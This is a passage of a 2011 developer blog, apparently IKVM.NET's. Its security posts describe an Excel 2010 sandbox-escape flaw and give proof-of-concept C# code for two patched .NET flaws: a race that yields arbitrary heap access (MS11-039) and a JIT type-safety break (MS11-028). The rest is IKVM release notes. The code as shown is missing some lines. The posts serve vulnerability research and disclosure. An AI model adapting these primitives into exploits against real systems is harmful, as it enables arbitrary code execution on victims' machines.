# Wednesday, June 22, 2011
Excel 2010 Bait-and-Switch Sandbox Escape

Office 2010 introduced a sandboxing technology for untrusted documents called Protected View. When a document is opened from an untrusted location (e.g. the Internet) it is first opened in a sandboxed process to limit the impact of document parsing bugs or other things of that nature. Only after the user has confirmed that the document is what they expect (and want to "edit" it) they click on Enable Editing to open the document outside of the sandbox in a fully functioning Office application.

Excel 2010 has a flaw that under certain conditions causes it to redownload the document when the user clicks on Enable Editing. This allows a malicious website to initially provide a safe document and subsequently after the user decides to trust the document to provide a different malicious document.

Here's an example.

After you click on the button, IE will show a dialog asking if you want to Open or Save. Click Open. Now the harmless.xlsx document opens. Next click on Enable Editing. Excel will now crash because it attempts to load a malformed document (note that this is just a null pointer dereference and is very unlikely to be exploitable).

For effect I chose to provide a crashing document, but you can also replace the .xlsx with an .xlsm (a document with macros) and Excel will happily load it (to enable macros the user will have to explicitly click on Enable Content).

This demo is confirmed to work on Windows 7 with IE 9 and Excel 2010. All fully patched.

Wednesday, June 22, 2011 8:25:10 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, June 21, 2011
How to Run Unpatched CLR Side-by-Side

If you want to investigate a CLR security patch, you can of course setup a VM where you don't install the patch or you can simply not install the patch until after the investigation is done. I've done both in the past, but when I was reverse engineering MS10-060 I decide to try something different.

One of the advantages (and disadvantages) of the .NET Framework over Java or Mono is that it "integrates" with the OS. This means that you can't simply install two different versions of .NET 2.0 (for example) on your machine, but you can install .NET 1.1, .NET 2.0 and .NET 4.0 side-by-side. So I assumed that it should also be possible to have multiple versions of .NET 2.0 "installed" on your system. To test this I created a Hello World app with the following app.config:

<?xml version="1.0" encoding="utf-8" ?>
        <supportedRuntime version="v2.0.66666"/>
        <requiredRuntime version="v2.0.66666"/>

Then I fired up Process Monitor and started looking at what happened if I tried to run the Hello World app.

It turns out that this is enough to make mscoree.dll look for the CLR in the %windir%\Microsoft.NET\Framework\v2.0.66666 directory for the runtime version to use. When that fails it gives you a message box asking if you want to install the .NET Framework v2.0.66666.

The obvious next step is to xcopy /s the contents of the v2.0.50727 directory into the v2.0.66666 directory. Now the Hello World app runs using mscorwks.dll and mscorjit.dll from the v2.0.66666 directory, so the contents of the v2.0.66666 can be replaced with the unpatched versions.

For the MS11-039 patch, I also wanted the unpatched System.dll and at this point it was still being loaded from the GAC. Back to Process Monitor which showed that the CLR was looking for a file named fusion.localgac in the v2.0.66666 directory, so that looked promising. After creating this file (content doesn't matter), I started getting assembly load failures and after copying the unpatched framework assemblies into the application directory the app ran successfully.

Now I could comfortably develop and test the PoC on my main system, without being vulnerable (if someone knew that I have this unpatched version installed, they could try to attack me specifically, but that would fail as I've disabled running .NET code in the browser because Microsoft takes too long to patch publicly known vulnerabilities).

Tuesday, June 21, 2011 9:48:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, June 16, 2011
MS11-039 Vulnerability Details

Tuesday Microsoft released two .NET security bulletins, one of which MS11-039 I will discuss here.

The patch updated System.dll and diffing the updated assembly with the previous version shows that they've added additional parameter validation to the Socket Send and Receive APIs that take IList<ArraySegment> parameters.

The fix consists of validating the Offset and Count properties of the passed in ArraySegment values. If you read the ArraySegment constructor documentation, you see that it throws an ArgumentException if the offset or count are not in range, but given that ArraySegment is a value type, it is easy to break this "invariant" by taking advantage of the non-atomicity of value assignment.

Here's an example the exploits the bug to create a magical array that allows negative indexing (and arbitrary heap access, trivially adaptable to an exploit to run arbitrary code):

using System;
using System.Collections.Generic;
using System.Net.Sockets;
using System.Net;
using System.Threading;

  static byte[] buf1;
  static byte[] buf2;
  static ArraySegment<byte> seg;

  static void Main(string[] args)
    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    Socket conn = server.Accept();
    List<ArraySegment<byte>> buffers = new List<ArraySegment<byte>>();

    buf1 = new byte[0];
    buf2 = new byte[1000];

    for (int i = 0; i < buf2.Length; i++)
      buf2[i] = 0xFF;

    Thread mutator = new Thread(Mutator);


    ArraySegment<byte> grab;
    for (; ; )
      grab = seg;
      if (grab.Array.Length == 0 && grab.Count != 0)
        Console.WriteLine("got it!");

    SocketError errorCode;
    buffers[0] = grab;
    conn.Receive(buffers, SocketFlags.None, out errorCode);


  static void Mutator()
    for (; ; )
      seg = new ArraySegment<byte>(buf1, 0, 0);
      seg = new ArraySegment<byte>(buf2, 0, 1000);
Thursday, June 16, 2011 10:35:25 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Friday, June 10, 2011

I'll be at the following conferences this summer:

Send me an e-mail if you want to meet up for a chat.

Friday, June 10, 2011 7:13:15 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, May 18, 2011
Implementation Dependencies

Field Ordering

A new feature in today's snapshot is that java.lang.Class.getDeclaredFields() now returns the fields in class declaration order for ikvmc compiled code (dynamically compiled code always did this).

This is not required by the specification, but recently after debugging a complex piece of code that failed when compiled with ikvmc because of a field ordering dependency I did some more thinking and came up with a way to cheaply retain the field ordering.


Like Java reflection, System.Reflection makes no promises about ordering, so how do you retain the ordering without adding additional bookkeeping overhead? The key lies in IKVM.Reflection, since ikvmc now uses IKVM.Reflection to emit the metadata I know how to make sure that fields are emitted in a particular order and that this gives them increasing metadata tokens.

So all I had to do is make a minor modification to ikvmc to define the fields in the same order as they are defined in the class file and in the runtime reflection code sort the FieldInfo array returned by Type.GetFields() by metadata token.

Annotations by Proxy

The JDK implements annotations by using java.lang.reflect.Proxy to implement the annotation interface. This is an implementation decision and not promised by the spec anywhere, but predictably there is also code that (for no good reason) assumes that annotations are always implemented by java.lang.reflect.Proxy.

This code failed on ikvmc compiled code, because there I generated .NET custom attributes that implement the annotation interface and simply returned the custom attribute object.

So I've changed the annotation reflection code to now return a java.lang.reflect.Proxy as well (for compatibility, the custom attribute annotations still implement the annotation interface).


You can write whatever you want in the specification, but when an ecosystem is dominated by one implementation, people are going to write against the implementation, not the specification.

This is not just annoying for alternative implementations, but the dominant implementation also suffers, because in subsequent versions you have far less freedom in evolving your implementation.

Wednesday, May 18, 2011 8:23:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
New Development Snapshot

Since it has been a while, time for a new development snapshot.


  • Expose annotations on statically compiled code as java.lang.reflect.Proxy instead of the custom attribute object, to deal with broken code that assumes annotations are always implemented with Proxy. Fix for #3254823.
  • Added delegate conversion for java.lang.reflect.InvocationHandler to ikvm.runtime.Delegates.
  • Changed build to specify "-cp dummy" for javac compile to avoid accidentally picking up classes on the CLASSPATH.
  • Added experimental (i.e. not yet finished) -proxy: option to ikvmc to pre-generate proxy class.
  • Added method prologue support to remap file.
  • Updated AtomicInteger, AtomicIntegerArray, AtomicLonger, AtomicLongerArray to use .NET 2.0 interlocked operations.
  • Added stind_i8 opcode to remap file.
  • Changed build and JNI code to use different names for the Windows x86 and x64 versions of the native dll.
  • Added missing lib/*.properties files (in particular lib/calendars.properties which caused java.util.JapaneseImperialCalendar to fail).
  • Retain reflection field ordering for ikvmc compiled code (not required by spec, but to improve compatibility with broken code).
  • AWT: Fixed a StringIndexOutOfBoundsException if RTL and LTR text are used in one string.
  • AWT: Added emulation for fixed metrics to make drawString and stringWidth compatible.
  • AWT: Added workaround for bug in OpenJDK 6 on Windows. The result is that the needed width for painting of labels and buttons can be 1 pixel larger as the prefered size. The result was labels with "...".
  • IKVM.Reflection: Fixed TypeBuilder.DefineNestedType() to accept a null reference for the interfaces parameter.

Binaries available here: ikvmbin-0.47.4154.zip

Wednesday, May 18, 2011 7:57:20 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, April 19, 2011
MS11-028 Vulnerability Details

The bug report apparently originated on stackoverflow and was subsequently filed on Microsoft connect. So it has been public since August 4, 2010 and easily findable in connect (that's how I found it, by searching for JIT bugs). Microsoft seems to believe that since they have not seen any widespread exploits of .NET vulnerabilities (see claim here) that this was not a high priority issue.

I've drawn my conclusions and disabled running all .NET code in the browser on my system.

It should also be noted that using ClickOnce, this issue can be used to execute code outside of the Internet Explorer Protected Mode sandbox.

Here is a simple example that uses the bug to violate type safety:

using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct RunLong {
  public byte Count;
  public long Value;

  public RunLong(byte count, long value) {
    Count = count;
    Value = value;

class Program {
  static void Main(string[] args) {
    try {
      Whoop(null, null, args, null, Frob(new RunLong(1, 0)));
    } catch { }

  private static object Frob(RunLong runLong) {
    return null;

  private static void Whoop(object o1, object o2, object o3, Program p, object o5) {
    Console.WriteLine("p = " + p);
    throw new Exception();

Running this on an unpatched system (we compile with /platform:x86, because only the 32 bit JIT is affected):

C:\temp>csc /platform:x86 program.cs

p = System.String[]

Here we see that p, typed as Program, contains a string[]. This is a classic type safety hole and can be used like this.

Generated Code

Here's the code generated for the highlighted line by the unpatched JIT:

   mov   eax,1
   xor   ecx,ecx
   xor   edx,edx
   push  esi
   push  ecx
   push  eax                    ; incorrect instruction
   push  eax                    ; incorrect instruction
   mov   word ptr [esp+1],cs    ; incorrect instruction
   call  Frob
   push  eax
   xor   edx,edx
   xor   ecx,ecx
   call  Whoop

The three incorrect instructions are supposed to push the RunLong value on the stack (padded to 12 bytes), but instead push 8 bytes (and an incorrect value) and store the cs segment register (?). This causes the stack to become unbalanced (because Frob pops 12 bytes off the stack) and the result is that the third parameter to Whoop (o3) ends up in the place of fourth parameter (p).

The resulting unbalanced stack would result in a crash, so Whoop throws an exception to restore the stack to a sane state.

Tuesday, April 19, 2011 1:54:49 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Wednesday, April 13, 2011
MS11-028 Vulnerability Details

Next week I will post the details of the bug fixed in MS11-028 released yesterday.

I did not discover this vulnerability, but in Februari I did find a public bug report that contains enough information to write an exploit and I contacted the Microsoft Security Response Center and they replied:

“Thank you for contacting us with this. We are aware of the issue you are reporting and since the issue is public I can not comment on the issue or the status of the investigation except to say that we are aware and investigating.“

The bug was originally reported in August of last year.

After I saw the bug report it took me about 15 minutes to write a proof of concept exploit.

Wednesday, April 13, 2011 11:21:33 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, April 1, 2011

I'll be at MIX this year. If you want to meet up for a chat, drop me a note.

Friday, April 1, 2011 5:21:09 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Thursday, March 24, 2011
IKVM.NET 0.46 Released

I've released IKVM.NET 0.46 to SourceForge. The binaries are identical to the ones in release candidate 1.

Release Notes

This document lists the improvements, known issues and incompatibilities.

What's New (relative to IKVM.NET 0.44):

  • Integrated OpenJDK 6 b22.
  • Added -Xreference: option to ikvm.exe and ikvm.runtime.Startup.addBootClassPathAssemby() API.
  • The binaries zip now includes lib/ikvm-api.jar to avoid having to run ikvmstub to get access to the IKVM Java APIs.
  • Ported parts of fdlibm to C# to use for StrictMath methods tan, cbrt, floor, pow, hypot, expm1 and log1p.
  • Add support for serializing .NET exceptions in Java. We don't serialize the actual object, but a placeholder instead, to avoid having to implement full .NET serialization interop.
  • Added IL optimization step to code generator.
  • Added SynchronizationContext for AWT event thread.
  • Many IKVM.Reflection improvements and bug fixes.
  • Many Swing/AWT/font/graphics/printing improvements.
  • Implemented IPv6 support (.NET only) for java.net package APIs.
  • The sun.boot.class.path system property now points to VFS to allow javac to work (although a bit slow, because the stub class files are dynamically generated on demand).
  • Resource and generated stub classes are now projected into the virtual IKVM home directory, to make code that assumes that resources live in jars happy.
  • Improvements to @ikvm.lang.Internal handling.
  • Many minor improvements.


  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled together during a single compilation fully obeys the JLS binary compatibility rules.

Class Library

Most class library code is based on OpenJDK 6 build 22. Below is a list of divergences and IKVM.NET specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt Partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net IPv6 support at level equivalent to JDK 6 (only on .NET).
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print There is a Win32 specific printing implementation. Not supported.
javax.script ECMAScript implementation is not included.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Not supported.

The entire public API is available, so "Not implemented." for javax.smartcardio, for example, means that the API is there but there is no back-end to provide the actual smartcard communication support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas, but patches are welcome, of course.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows
.NET 4.0 x86 Windows
.NET 4.0 x64 Windows

Partial Trust

There is experimental support for running in partial trust.

Thursday, March 24, 2011 6:50:18 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]